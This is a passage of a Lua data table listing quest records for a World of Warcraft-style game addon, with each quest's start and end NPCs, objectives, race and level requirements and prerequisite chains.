["next"] = { 50302 },
["pre"] = { 50300 },
},
-- Light's Chosen Champion.
[50302] = {
["start"] = {
["U"] = { 50506 },
},
["end"] = {
["U"] = { 50506 },
},
["obj"] = {
["U"] = { 50508 },
},
["race"] = 1,
["lvl"] = 7,
["min"] = 1,
["next"] = { 50303 },
["pre"] = { 50301 },
},
-- Before the Storm
[50303] = {
["start"] = {
["U"] = { 50506 },
},
["end"] = {
["U"] = { 50507 },
},
["race"] = 1,
["lvl"] = 8,
["min"] = 1,
["pre"] = { 50302 },
},
-- Higher Stakes
[50305] = {
["start"] = {
["U"] = { 3191 },
},
["end"] = {
["U"] = { 3191 },
},
["obj"] = {
["I"] = { 2924 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 8,
["pre"] = { 815 },
},
-- Goblin Engineering At It's Finest!
[50310] = {
["start"] = {
["U"] = { 50521 },
},
["end"] = {
["U"] = { 50521 },
},
["obj"] = {
["U"] = { 50533 },
},
["lvl"] = 60,
["min"] = 1,
["next"] = { 50311 },
},
-- Mirage Raceway: Gnome's Team
[50311] = {
["start"] = {
["U"] = { 50521 },
},
["end"] = {
["U"] = { 50521 },
},
["obj"] = {
["U"] = { 4507 },
},
["lvl"] = 60,
["min"] = 1,
["pre"] = { 50310 },
},
-- Gnomes Are Genuine Inventors
[50312] = {
["start"] = {
["U"] = { 50522 },
},
["end"] = {
["U"] = { 50522 },
},
["obj"] = {
["U"] = { 50533 },
},
["lvl"] = 60,
["min"] = 1,
["next"] = { 50313 },
},
-- Mirage Raceway: Gnome's Team
[50313] = {
["start"] = {
["U"] = { 50522 },
},
["end"] = {
["U"] = { 50522 },
},
["obj"] = {
["U"] = { 4507 },
},
["lvl"] = 60,
["min"] = 1,
["pre"] = { 50312 },
},
-- Race Against Time!
[50316] = {
["start"] = {
["U"] = { 4507 },
},
["end"] = {
["U"] = { 4507 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Bracing The Inevitable
[50318] = {
["start"] = {
["U"] = { 50660 },
},
["end"] = {
["U"] = { 50660 },
},
["obj"] = {
["I"] = { 51248 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Snowball Wars: Episode I
[50319] = {
["start"] = {
["U"] = { 50654 },
},
["end"] = {
["U"] = { 50654 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Snowball Wars: Episode II
[50320] = {
["start"] = {
["U"] = { 50654 },
},
["end"] = {
["U"] = { 50654 },
},
["lvl"] = 60,
["min"] = 1,
},
-- The Icy Menace
[50321] = {
["start"] = {
["U"] = { 50662 },
},
["end"] = {
["U"] = { 50662 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Grizzlore Wants Thunder
[50326] = {
["start"] = {
["U"] = { 51254 },
},
["end"] = {
["U"] = { 51254 },
},
["obj"] = {
["I"] = { 1262 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Jolly Holly Dances Prolly
[50328] = {
["start"] = {
["U"] = { 50645 },
},
["end"] = {
["U"] = { 50645 },
},
["lvl"] = 60,
["min"] = 1,
},
-- Razlik's Tools
[55000] = {
["start"] = {
["U"] = { 91208 },
},
["end"] = {
["U"] = { 91208 },
},
["obj"] = {
["I"] = { 81291 },
},
["race"] = 178,
["lvl"] = 9,
["min"] = 7,
},
-- The Oil Stops Flowing
[55001] = {
["start"] = {
["U"] = { 91213 },
},
["end"] = {
["U"] = { 91213 },
},
["obj"] = {
["U"] = { 91194, 91193 },
},
["race"] = 178,
["lvl"] = 9,
["min"] = 7,
},
-- Supplies to the Port!
[55002] = {
["start"] = {
["U"] = { 3168 },
},
["end"] = {
["U"] = { 91237 },
},
["obj"] = {
["I"] = { 81293 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 5,
},
-- A New Power Source
[55003] = {
["start"] = {
["U"] = { 91214 },
},
["end"] = {
["U"] = { 91214 },
},
["obj"] = {
["I"] = { 81292 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 7,
["next"] = { 55006 },
},
-- Adding a Little Sting
[55004] = {
["start"] = {
["U"] = { 91227 },
},
["end"] = {
["U"] = { 91227 },
},
["obj"] = {
["I"] = { 5466, 769 },
},
["race"] = 178,
["lvl"] = 7,
["min"] = 5,
},
-- Prototype Thievery
[55005] = {
["start"] = {
["U"] = { 91200 },
},
["end"] = {
["U"] = { 91200 },
},
["obj"] = {
["I"] = { 81315 },
},
["race"] = 178,
["lvl"] = 18,
["min"] = 16,
},
-- Backup Capacitor
[55006] = {
["start"] = {
["U"] = { 91234 },
},
["end"] = {
["U"] = { 91234 },
},
["obj"] = {
["I"] = { 81318 },
},
["race"] = 178,
["lvl"] = 34,
["min"] = 29,
["pre"] = { 55003 },
},
-- Employing the Cabal
[55011] = {
["start"] = {
["U"] = { 80121 },
},
["end"] = {
["U"] = { 91275 },
},
["obj"] = {
["I"] = { 81322 },
},
["race"] = 178,
["lvl"] = 13,
["min"] = 10,
["next"] = { 55012 },
},
-- Short Five Minute Adventure
[55012] = {
["start"] = {
["U"] = { 91275 },
},
["end"] = {
["U"] = { 91275 },
},
["obj"] = {
["I"] = { 814, 4361, 17019 },
},
["race"] = 178,
["lvl"] = 13,
["min"] = 10,
["next"] = { 55013 },
["pre"] = { 55011 },
},
-- Shaking a Cold Arm
[55013] = {
["start"] = {
["U"] = { 91275 },
},
["end"] = {
["U"] = { 80178 },
},
["race"] = 178,
["lvl"] = 13,
["min"] = 10,
["pre"] = { 55012 },
},
-- Missing Blood
[55019] = {
["start"] = {
["U"] = { 91203 },
},
["end"] = {
["U"] = { 5546 },
},
["obj"] = {
["I"] = { 81331 },
},
["race"] = 178,
["lvl"] = 39,
["min"] = 35,
["next"] = { 55020 },
},
-- Misgotten Honor
[55020] = {
["start"] = {
["U"] = { 5546 },
},
["end"] = {
["U"] = { 7623 },
},
["race"] = 178,
["lvl"] = 39,
["min"] = 35,
["next"] = { 55021 },
["pre"] = { 55019 },
},
-- Beyond the Walls
[55021] = {
["start"] = {
["U"] = { 7623 },
},
["end"] = {
["U"] = { 7623 },
},
["obj"] = {
["U"] = { 1084, 858, 767 },
},
["race"] = 178,
["lvl"] = 39,
["min"] = 35,
["next"] = { 55022 },
["pre"] = { 55019, 55020 },
},
-- Taking Leave
[55022] = {
["start"] = {
["U"] = { 7623 },
},
["end"] = {
["U"] = { 5546 },
},
["race"] = 178,
["lvl"] = 39,
["min"] = 35,
["next"] = { 55023 },
["pre"] = { 55019, 55020, 55021 },
},
-- Relief and Reprise
[55023] = {
["start"] = {
["U"] = { 5546 },
},
["end"] = {
["U"] = { 91203 },
},
["obj"] = {
["I"] = { 81332 },
},
["race"] = 178,
["lvl"] = 39,
["min"] = 35,
["pre"] = { 55019, 55020, 55021, 55022 },
},
-- It All Comes Sinking Down
[55026] = {
["start"] = {
["U"] = { 91259 },
},
["end"] = {
["U"] = { 2496 },
},
["race"] = 178,
["lvl"] = 36,
["min"] = 30,
["next"] = { 55027 },
},
-- Employed Help
[55027] = {
["start"] = {
["U"] = { 2496 },
},
["end"] = {
["U"] = { 2496 },
},
["obj"] = {
["U"] = { 1097 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 30,
["next"] = { 55028 },
["pre"] = { 55026 },
},
-- The "Hiidden" Crew
[55028] = {
["start"] = {
["U"] = { 2496 },
},
["end"] = {
["U"] = { 91280 },
},
["race"] = 178,
["lvl"] = 37,
["min"] = 30,
["next"] = { 55029 },
["pre"] = { 55026, 55027 },
},
-- In Need of Information
[55029] = {
["start"] = {
["U"] = { 91280 },
},
["end"] = {
["U"] = { 2496 },
},
["race"] = 178,
["lvl"] = 36,
["min"] = 30,
--["next"] = { 55030 },
["pre"] = { 55026, 55027, 55028 },
},
-- Reduced to Madness
[55032] = {
["start"] = {
["U"] = { 91285 },
},
["end"] = {
["U"] = { 91285 },
},
["obj"] = {
["U"] = { 3748 },
},
["lvl"] = 24,
["min"] = 16,
},
-- Kill-Kill Sagepaw!
[55033] = {
["start"] = {
["U"] = { 91243 },
},
["end"] = {
["U"] = { 91243 },
},
["obj"] = {
["U"] = { 91291 },
},
["race"] = 178,
["lvl"] = 24,
["min"] = 16,
},
-- Kill-Kill Mosshides!
[55034] = {
["start"] = {
["U"] = { 91243 },
},
["end"] = {
["U"] = { 91243 },
},
["obj"] = {
["I"] = { 81335 },
},
["race"] = 178,
["lvl"] = 24,
["min"] = 16,
["next"] = { 55035 },
},
-- Hidden-Hidden Rewards
[55035] = {
["start"] = {
["U"] = { 91275 },
},
["end"] = {
["O"] = { 1000500 },
},
["race"] = 178,
["lvl"] = 24,
["min"] = 16,
["pre"] = { 55034 },
},
-- Where's My Yeti Fur?!
[55036] = {
["start"] = {
["U"] = { 91237 },
},
["end"] = {
["U"] = { 91292 },
},
["race"] = 178,
["lvl"] = 32,
["min"] = 25,
["next"] = { 55037 },
},
-- Filling Back-Orders
[55037] = {
["start"] = {
["U"] = { 91292 },
},
["end"] = {
["U"] = { 91292 },
},
["obj"] = {
["I"] = { 3720 },
},
["race"] = 178,
["lvl"] = 32,
["min"] = 25,
["pre"] = { 55036 },
["next"] = { 55038 },
},
-- A Late Delivery
[55038] = {
["start"] = {
["U"] = { 91292 },
},
["end"] = {
["U"] = { 91237 },
},
["race"] = 178,
["lvl"] = 32,
["min"] = 25,
["pre"] = { 55037 },
},
-- Wisdom of the Sages
[55041] = {
["start"] = {
["U"] = { 91232 },
},
["end"] = {
["U"] = { 91232 },
},
["obj"] = {
["I"] = { 81343 },
},
["race"] = 178,
["lvl"] = 30,
["min"] = 20,
},
-- Satisfaction for Shak
[55042] = {
["start"] = {
["U"] = { 91260 },
},
["end"] = {
["U"] = { 91260 },
},
["obj"] = {
["I"] = { 81344 },
},
["race"] = 178,
["lvl"] = 20,
["min"] = 12,
},
-- The Brightwater Logs
[55043] = {
["start"] = {
["U"] = { 91259 },
},
["end"] = {
["U"] = { 91259 },
},
["obj"] = {
["I"] = { 81345 },
},
["race"] = 178,
["lvl"] = 32,
["min"] = 20,
},
-- Missing Worker!
[55044] = {
["start"] = {
["U"] = { 91274 },
},
["end"] = {
["U"] = { 91272 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 6,
["next"] = { 55045 },
},
-- Ore on Time
[55045] = {
["start"] = {
["U"] = { 91272 },
},
["end"] = {
["U"] = { 91274 },
},
["obj"] = {
["I"] = { 2770 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 6,
["pre"] = { 55044 },
},
-- Agon Ore
[55046] = {
["start"] = {
["U"] = { 91274 },
},
["end"] = {
["U"] = { 91274 },
},
["obj"] = {
["I"] = { 81346 },
},
["race"] = 178,
["lvl"] = 42,
["min"] = 34,
},
-- The Lucky Boots
[55047] = {
["start"] = {
["U"] = { 91274 },
},
["end"] = {
["U"] = { 91274 },
},
["obj"] = {
["I"] = { 81347 },
},
["race"] = 178,
["lvl"] = 45,
["min"] = 34,
},
-- WANTED: Shazknock!
[55049] = {
["start"] = {
["O"] = { 1000504 },
},
["end"] = {
["U"] = { 91237 },
},
["obj"] = {
["U"] = { 91298 },
},
["race"] = 178,
["lvl"] = 18,
["min"] = 10,
},
-- Once Upon a Sheep
[60005] = {
["start"] = {
["U"] = { 50604 },
},
["end"] = {
["U"] = { 50604 },
},
["obj"] = {
["U"] = { 50610 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
["next"] = { 60007, 60008 },
},
-- Lulu Looks Luscious to Lupines
[60007] = {
["start"] = {
["U"] = { 50608 },
},
["end"] = {
["U"] = { 50608 },
},
["obj"] = {
["U"] = { 525 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
["pre"] = { 60005 },
},
-- Wool Would Work
[60008] = {
["start"] = {
["U"] = { 50605 },
},
["end"] = {
["U"] = { 50605 },
},
["obj"] = {
["I"] = { 51223 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
["pre"] = { 60005 },
},
-- Fashion Demands Sacrifices
[60030] = {
["start"] = {
["U"] = { 51292 },
},
["end"] = {
["U"] = { 51293 },
},
["obj"] = {
["I"] = { 2589, 2318, 774, 4813 },
},
["lvl"] = 10,
["min"] = 10,
},
-- Delicious Pumpkin Pie
[60040] = {
["start"] = {
["U"] = { 51261 },
},
["end"] = {
["U"] = { 51261 },
},
["obj"] = {
["I"] = { 51330 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
},
-- The Pumpkin Thieves
[60041] = {
["start"] = {
["U"] = { 248 },
},
["end"] = {
["U"] = { 248 },
},
["obj"] = {
["I"] = { 51325 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
},
-- Gnoll Bounty
[60042] = {
["start"] = {
["U"] = { 1650 },
},
["end"] = {
["U"] = { 10616 },
},
["obj"] = {
["U"] = { 97, 478 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
},
-- Lucky Coin
[60050] = {
["start"] = {
["U"] = { 51302 },
},
["end"] = {
["U"] = { 1431 },
},
["obj"] = {
["IR"] = { 51425 },
},
["race"] = 77,
["lvl"] = 5,
["min"] = 4,
},
-- You Reap What You Sow
[60061] = {
["start"] = {
["U"] = { 51532 },
},
["end"] = {
["U"] = { 51532 },
},
["obj"] = {
["I"] = { 51706, 51707, 51708, 51716 },
},
["race"] = 178,
["lvl"] = 60,
["min"] = 20,
},
-- Matter of Trust
[60070] = {
["start"] = {
["U"] = { 51564 },
},
["end"] = {
["U"] = { 51562 },
},
["obj"] = {
["I"] = { 769, 422, 51751 },
},
["race"] = 77,
["lvl"] = 7,
["min"] = 6,
},
-- Cold Feet
[60107] = {
["start"] = {
["U"] = { 1521 },
},
["end"] = {
["U"] = { 1521 },
},
["obj"] = {
["I"] = { 51807 },
},
["race"] = 178,
["lvl"] = 10,
["min"] = 8,
["pre"] = { 375 },
},
-- Githyiss the Vile
[60110] = {
["start"] = {
["U"] = { 2082 },
},
["end"] = {
["U"] = { 2082 }
},
["obj"] = {
["I"] = { 51815 }
},
["race"] = 77,
["lvl"] = 5,
["min"] = 3,
["pre"] = { 916 },
},
-- A Decisive Blow
[60111] = {
["start"] = {
["U"] = { 2151 },
},
["end"] = {
["U"] = { 2151 }
},
["obj"] = {
["U"] = { 2162, 1993 }
},
["race"] = 77,
["lvl"] = 10,
["min"] = 9,
["pre"] = { 487 },
},
-- Fallen Adventurers
[60112] = {
["start"] = {
["U"] = { 1661 },
},
["end"] = {
["U"] = { 1661 },
},
["obj"] = {
["U"] = { 1916, 1917, 1918 },
},
["race"] = 178,
["lvl"] = 4,
["min"] = 3,
["pre"] = { 376 },
},
-- Virulence
[60113] = {
["start"] = {
["U"] = { 1518 },
},
["end"] = {
["U"] = { 1518 },
},
["obj"] = {
["I"] = { 51822 },
},
["race"] = 178,
["lvl"] = 8,
["min"] = 6,
["pre"] = { 367 },
},
-- The Terror of Chill Breeze
[60114] = {
["start"] = {
["U"] = { 1266 },
},
["end"] = {
["U"] = { 1266 },
},
["obj"] = {
["I"] = { 51823 },
},
["race"] = 77,
["lvl"] = 11,
["min"] = 7,
},
-- Preventive Strike
[60115] = {
["start"] = {
["U"] = { 3209 },
},
["end"] = {
["U"] = { 3209 },
},
["obj"] = {
["U"] = { 3229 },
["I"] = { 51826 },
},
["lvl"] = 5,
["min"] = 3,
},
-- Paint the Roses Red
[60116] = {
["start"] = {
["U"] = { 1652 },
},
["end"] = {
["U"] = { 1652 },
},
["obj"] = {
["U"] = { 4281, 4280, 4283 },
},
["race"] = 178,
["lvl"] = 29,
["min"] = 27,
["pre"] = { 60117 },
},
-- Scarlet with Rage
[60117] = {
["start"] = {
["U"] = { 6741 },
},
["end"] = {
["U"] = { 1652 },
},
["race"] = 178,
["lvl"] = 29,
["min"] = 27,
},
-- Wayne Manners
[60119] = {
["start"] = {
["U"] = { 2395 },
},
["end"] = {
["U"] = { 2395 },
},
["obj"] = {
["U"] = { 2252, 2253 },
},
["race"] = 178,
["lvl"] = 35,
["min"] = 30,
},
-- The Mail Must Go Through
[60121] = {
["start"] = {
["U"] = { 3293 },
},
["end"] = {
["U"] = { 5610 },
},
["obj"] = {
["I"] = { 51846 },
},
["race"] = 434,
["lvl"] = 10,
["min"] = 7,
["pre"] = { 835 },
["next"] = { 60122 },
},
-- Trapped in the Nightmare (Alliance custom)
[60124] = {
["start"] = {
["U"] = { 3702 },
},
["end"] = {
["U"] = { 3702 },
},
["obj"] = {
["U"] = { 3654 },
},
["race"] = 77,
["lvl"] = 19,
["min"] = 16,
},
-- Serpentbloom (Alliance custom)
[60125] = {
["start"] = {
["U"] = { 3702 },
},
["end"] = {
["U"] = { 3702 },
},
["obj"] = {
["I"] = { 5339 },
},
["race"] = 77,
["lvl"] = 18,
["min"] = 16,
},
-- That Dirty Old Ring
[60130] = {
["start"] = {
["I"] = { 51855 },
},
["end"] = {
["U"] = { 328 },
},
["obj"] = {
["I"] = { 51855 },
},
["race"] = 77,
["lvl"] = 6,
["min"] = 6,
},
-- Deep Blue Sea
[60131] = {
["start"] = {
["U"] = { 4311 },
},
["end"] = {
["U"] = { 4311 },
},
["obj"] = {
["U"] = { 5435 },
},
["lvl"] = 13,
["min"] = 10,
},
-- They're In The Way!
[60132] = {
["start"] = {
["U"] = { 9555 },
},
["end"] = {
["U"] = { 9555 },
},
["obj"] = {
["U"] = { 2563 },
},
["race"] = 178,
["lvl"] = 32,
["min"] = 30,
},
-- Down With the Sickness
[60133] = {
["start"] = {
["U"] = { 3448 },
},
["end"] = {
["U"] = { 3448 },
},
["obj"] = {
["I"] = { 51860 },
},
["race"] = 178,
["lvl"] = 14,
["min"] = 14,
["next"] = { 60134 },
},
-- Preventing Poison
[60134] = {
["start"] = {
["U"] = { 3448 },
},
["end"] = {
["U"] = { 3448 },
},
["obj"] = {
["U"] = { 12296 },
},
["race"] = 178,
["lvl"] = 15,
["min"] = 15,
["pre"] = { 60133 },
},
-- Kodo Hunt
[60138] = {
["start"] = {
["U"] = { 2993 },
},
["end"] = {
["U"] = { 2993 },
},
["obj"] = {
["U"] = { 2973, 2974 },
},
["race"] = 178,
["lvl"] = 11,
["min"] = 10,
},
-- No More-pid!
[60139] = {
["start"] = {
["U"] = { 6787 },
},
["end"] = {
["U"] = { 6787 },
},
["obj"] = {
["U"] = { 3126 },
},
["race"] = 178,
["lvl"] = 7,
["min"] = 6,
},
-- Don’t Lose (Part Of) Your Head
[60140] = {
["start"] = {
["U"] = { 2131 },
},
["end"] = {
["U"] = { 2131 },
},
["obj"] = {
["I"] = { 1251 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 5,
},
-- Duty to the Light
[60141] = {
["start"] = {
["U"] = { 927 },
},
["end"] = {
["U"] = { 1103 },
},
["obj"] = {
["I"] = { 51868 },
},
["race"] = 77,
["lvl"] = 9,
["min"] = 8,
},
-- A Change Of Heart
[60142] = {
["start"] = {
["U"] = { 6119 },
},
["end"] = {
["U"] = { 6031 },
},
["race"] = 77,
["lvl"] = 6,
["min"] = 5,
},
-- Brannol's Sewing Kit
[60143] = {
["start"] = {
["U"] = { 3611 },
},
["end"] = {
["U"] = { 3611 },
},
["obj"] = {
["I"] = { 51870 },
},
["race"] = 77,
["lvl"] = 10,
["min"] = 9,
},
-- Down in the Ridge
[60145] = {
["start"] = {
["U"] = { 197 },
},
["end"] = {
["U"] = { 197 },
},
["obj"] = {
["U"] = { 51600 },
},
["race"] = 77,
["lvl"] = 5,
["min"] = 1,
["pre"] = { 15 },
},
-- Stalking the Felstalkers
[60147] = {
["start"] = {
["U"] = { 3145 },
},
["end"] = {
["U"] = { 3145 },
},
["obj"] = {
["U"] = { 3102 },
},
["race"] = 178,
["lvl"] = 4,
["min"] = 4,
["pre"] = { 792 },
},
-- Mother of the Hollow
[60148] = {
["start"] = {
["U"] = { 1570 },
},
["end"] = {
["U"] = { 1570 },
},
["obj"] = {
["U"] = { 1688 },
},
["race"] = 178,
["lvl"] = 5,
["min"] = 4,
["pre"] = { 376, 380 },
},
-- Bristleback Aggression
[60150] = {
["start"] = {
["U"] = { 2980 },
},
["end"] = {
["U"] = { 2980 },
},
["obj"] = {
["U"] = { 2952, 2953 },
},
["lvl"] = 4,
["min"] = 3,
["pre"] = { 750 },
},
-- Jasperlode Infestation
[60154] = {
["start"] = {
["U"] = { 240 },
},
["end"] = {
["U"] = { 240 },
},
["obj"] = {
["U"] = { 43 },
},
["race"] = 77,
["lvl"] = 8,
["min"] = 6,
["pre"] = { 76 },
},
-- A Special Kind of Summons
[70000] = {
["start"] = {
["U"] = { 2708, 1498 },
},
["end"] = {
["U"] = { 8379 },
},
["race"] = 255,
["lvl"] = 60,
["min"] = 60,
["pre"] = { 7463 },
["next"] = { 70001 },
},
-- Lost to the Sands
[70001] = {
["start"] = {
["U"] = { 8379 },
},
["obj"] = {
["I"] = { 83005 },
},
["end"] = {
["U"] = { 8379 },
},
["race"] = 255,
["lvl"] = 60,
["min"] = 60,
["pre"] = { 70000 },
},
-- The Guidance of a Mad Man
[70002] = {
["start"] = {
["U"] = { 5675, 6122 },
},
["end"] = {
["U"] = { 14463 },
},
["class"] = 256,
["lvl"] = 60,
["min"] = 60,
["pre"] = { 7583 },
["next"] = { 70003 },
},
-- Draining the Soulflayer
[70003] = {
["start"] = {
["U"] = { 14463 },
},
["end"] = {
["U"] = { 14463 },
},
["obj"] = {
["I"] = { 83006 },
},
["class"] = 256,
["lvl"] = 60,
["min"] = 60,
["pre"] = { 70002 },
},
-- A Brother’s Worried Mind
[70020] = {
["start"] = {
["U"] = { 11720 },
},
["end"] = {
["U"] = { 70020 },
},
["lvl"] = 29,
["min"] = 28,
["next"] = { 70021 },
},
-- Taupo’s Duty
[70021] = {
["start"] = {
["U"] = { 70020 },
},
["end"] = {
["U"] = { 70020 },
},
["obj"] = {
["I"] = { 70021 },
},
["lvl"] = 29,
["min"] = 28,
["pre"] = { 70020 },
["next"] = { 70022 },
},
-- Norvok of the Spear
[70022] = {
["start"] = {
["U"] = { 70022 },
},
["end"] = {
["U"] = { 70022 },
},
["obj"] = {
["U"] = { 6115, 6073 },
},
["lvl"] = 29,
["min"] = 28,
["pre"] = { 70020, 70021 },
["next"] = { 70023 },
},
-- Report to Commander Grushak
[70023] = {
["start"] = {
["U"] = { 70022 },
},
["end"] = {
["U"] = { 70023 },
},
["lvl"] = 30,
["min"] = 28,
["pre"] = { 70020, 70021, 70022 },
["next"] = { 70024 },
},
-- Wildthorn Menace
[70024] = {
["start"] = {
["U"] = { 70023 },
},
["end"] = {
["U"] = { 70023 },
},
["obj"] = {
["U"] = { 3821 },
},
["lvl"] = 30,
["min"] = 28,
["pre"] = { 70020, 70021, 70022, 70023 },
["next"] = { 70025 },
},
-- Knife Eared Stalkers
[70025] = {
["start"] = {
["U"] = { 70023 },
},
["end"] = {
["U"] = { 70023 },
},
["obj"] = {
["U"] = { 70025 },
},
["lvl"] = 29,
["min"] = 28,
["pre"] = { 70020, 70021, 70022, 70023, 70024 },
["next"] = { 70026 },
},
-- Peon's Wardrobe Makeover
[70026] = {
["start"] = {
["U"] = { 70023 },
},
["end"] = {
["U"] = { 70023 },
},
["obj"] = {
["I"] = { 70022 },
},
["lvl"] = 30,
["min"] = 28,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025 },
["next"] = { 70027 },
},
-- Farseer Grimeye
[70027] = {
["start"] = {
["U"] = { 70023 },
},
["end"] = {
["U"] = { 70027 },
},
["lvl"] = 28,
["min"] = 25,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026 },
["next"] = { 70028 },
},
-- Demon Fall Canyon
[70028] = {
["start"] = {
["U"] = { 70027 },
},
["end"] = {
["U"] = { 70027 },
},
["obj"] = {
["U"] = { 11697, 6073, 6115 },
},
["lvl"] = 28,
["min"] = 25,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026, 70027 },
["next"] = { 70029 },
},
-- What We Know
[70029] = {
["start"] = {
["U"] = { 70027 },
},
["end"] = {
["U"] = { 70027 },
},
["obj"] = {
["U"] = { 70028 },
},
["lvl"] = 28,
["min"] = 25,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026, 70027, 70028 },
["next"] = { 70030 },
},
-- A Very Unpleasant Troll
[70030] = {
["start"] = {
["U"] = { 70027 },
},
["end"] = {
["U"] = { 3995 },
},
["lvl"] = 28,
["min"] = 25,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026, 70027, 70028, 70029 },
["next"] = { 70031 },
},
-- Jin'Zil's Stew
[70031] = {
["start"] = {
["U"] = { 3995 },
},
["end"] = {
["U"] = { 3995 },
},
["obj"] = {
["I"] = { 1205, 422, 3771, 3713 },
},
["lvl"] = 28,
["min"] = 25,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026, 70027, 70028, 70029, 70030 },
["next"] = { 70032 },
},
-- The Good Mojo
[70032] = {
["start"] = {
["U"] = { 3995 },
},
["end"] = {
["U"] = { 70027 },
},
["lvl"] = 29,
["min"] = 26,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026, 70027, 70028, 70029, 70030, 70031 },
["next"] = { 70033 },
},
-- The Seeker's Demise
[70033] = {
["start"] = {
["U"] = { 70027 },
},
["end"] = {
["U"] = { 70027 },
},
["obj"] = {
["U"] = { 6072, 11697, 6073, 6115 },
["I"] = { 70026 },
},
["lvl"] = 30,
["min"] = 27,
["pre"] = { 70020, 70021, 70022, 70023, 70024, 70025, 70026, 70027, 70028, 70029, 70030, 70031, 70032 },
},
-- Hawk's Beak
[70034] = {
["start"] = {
["I"] = { 70027 },
},
["end"] = {
["U"] = { 70022 },
},
["lvl"] = 27,
["min"] = 26,
["pre"] = { 70022 },
},
-- Reinforcing The Sepulcher
[70040] = {
["start"] = {
["U"] = { 4605 },
},
["end"] = {
["U"] = { 2140 },
},
["obj"] = {
["I"] = { 6214, 2857 },
},
["lvl"] = 16,
["min"] = 14,
},
-- Troubles From Distant Lands
[70048] = {
["start"] = {
["U"] = { 90983 },
},
["end"] = {
["U"] = { 90983 },
},
["obj"] = {
["I"] = { 70040, 70041, 70042 },
},
["lvl"] = 13,
["min"] = 11,
},
-- Trader's Misfortune
[70052] = {
["start"] = {
["U"] = { 3453 },
},
["end"] = {
["U"] = { 3453 },
},
["obj"] = {
["U"] = { 6494 },
},
["race"] = 178,
["lvl"] = 13,
["min"] = 12,
},
-- A New Ad-Venture
[80100] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80100 },
},
["obj"] = {
["I"] = { 80100 },
},
["race"] = 178,
["lvl"] = 1,
["min"] = 1,
},
-- Venture Vultures
[80101] = {
["start"] = {
["U"] = { 80101 },
},
["end"] = {
["U"] = { 80101 },
},
["obj"] = {
["I"] = { 80103 },
},
["race"] = 178,
["lvl"] = 2,
["min"] = 2,
},
-- Green Versus Green
[80102] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80100 },
},
["obj"] = {
["U"] = { 80114, 80115 },
},
["race"] = 178,
["lvl"] = 2,
["min"] = 2,
},
-- Risen Oilblazes
[80103] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80100 },
},
["obj"] = {
["I"] = { 80112 },
},
["race"] = 178,
["lvl"] = 4,
["min"] = 3,
},
-- The Other White Mech
[80104] = {
["start"] = {
["U"] = { 80101 },
},
["end"] = {
["U"] = { 80101 },
},
["obj"] = {
["I"] = { 80119 },
},
["race"] = 178,
["lvl"] = 2,
["min"] = 1,
},
-- Ventured Too Far
[80105] = {
["start"] = {
["I"] = { 80114 },
},
["end"] = {
["U"] = { 80100 },
},
["race"] = 178,
["lvl"] = 5,
["min"] = 4,
["next"] = { 80106 },
},
-- The Grumbling Grove
[80106] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80100 },
},
["obj"] = {
["U"] = { 80118, 80119 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 4,
["next"] = { 80107 },
["pre"] = { 80105 },
},
-- Shadow On The Plateau
[80107] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80100 },
},
["obj"] = {
["U"] = { 80120 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 4,
["next"] = { 80108 },
["pre"] = { 80105, 80106 },
},
-- Me Not Any Kind Of Orc
[80108] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80121 },
},
["obj"] = {
["O"] = { 3000100 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 4,
["next"] = { 80109 },
["pre"] = { 80105, 80106, 80107 },
},
-- Zug-zug or Somethin'
[80109] = {
["start"] = {
["U"] = { 80121 },
},
["end"] = {
["U"] = { 3191 },
},
["obj"] = {
["O"] = { 769 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 4,
["next"] = { 80110 },
["pre"] = { 80105, 80106, 80107, 80108 },
},
-- Green Goes Red
[80110] = {
["start"] = {
["U"] = { 3191 },
},
["end"] = {
["U"] = { 3139 },
},
["obj"] = {
["O"] = { 80130 },
},
["race"] = 178,
["lvl"] = 6,
["min"] = 4,
["pre"] = { 80105, 80106, 80107, 80108, 80109 },
},
-- Grease-stained Letter
[80115] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80104 },
},
["race"] = 178,
["class"] = 1,
["lvl"] = 2,
["min"] = 2,
["pre"] = { 80100 },
},
-- Ooze-covered Letter
[80116] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80106 },
},
["race"] = 178,
["class"] = 8,
["lvl"] = 2,
["min"] = 2,
["pre"] = { 80100 },
},
-- Leather-covered Letter
[80117] = {
["start"] = {
["U"] = { 80100 },
},
["end"] = {
["U"] = { 80105 },
},
["race"] = 178,
["class"] = 4,
["lvl"] = 2,
["min"] = 2,
